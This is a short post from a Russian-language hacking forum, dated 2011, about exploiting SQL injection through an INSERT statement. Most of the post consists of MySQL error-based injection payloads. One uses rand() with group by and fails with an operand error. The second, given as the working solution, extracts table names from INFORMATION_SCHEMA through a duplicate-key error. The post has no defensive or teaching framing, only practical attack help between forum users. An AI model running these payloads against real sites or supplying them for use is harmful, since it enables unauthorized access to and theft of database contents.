Показать сообщение отдельно

  #1  
Старый 15.09.2011, 21:49
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от xa-xa89  
А где-то подсмотреть результаты инсерта можно?
то почему бы просто не сделать вот так?
insert into TABLE (id, subid, date, data) values ('666', ''+(select bla_bla_bla), '', '')
ну и селект не из это же таблицы, помним)
способ великолепен, спасибо, но к сожалению колонка subid INT, поэтому записать левак туда не удастся.

P.S.

попробовал

1' or(1,2)=(select count(*),concat((select concat(table_name,0x3a,column_name) from information_schema.columns where table_schema !=0x696e666f726d6174696f6e5f736368656d61 limit 0,1),0x3a,floor(rand()*2)) from information_schema.columns group by 2 limit 0,1)+'

уже лучше.

MYSQL ERROR:

Operand should contain 1 column(s)

Можно же вывести через duplicate column ?

P.P.S

все решилось

1'+and+(select*from(select+count(*)from(select+1+u nion+select+2+union+select+3)x+group+by+concat(mid ((select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES +limit+0,1),1,64),floor(rand(0)*2)))z)+and+'1

спасибо FlaktW
 
Ответить с цитированием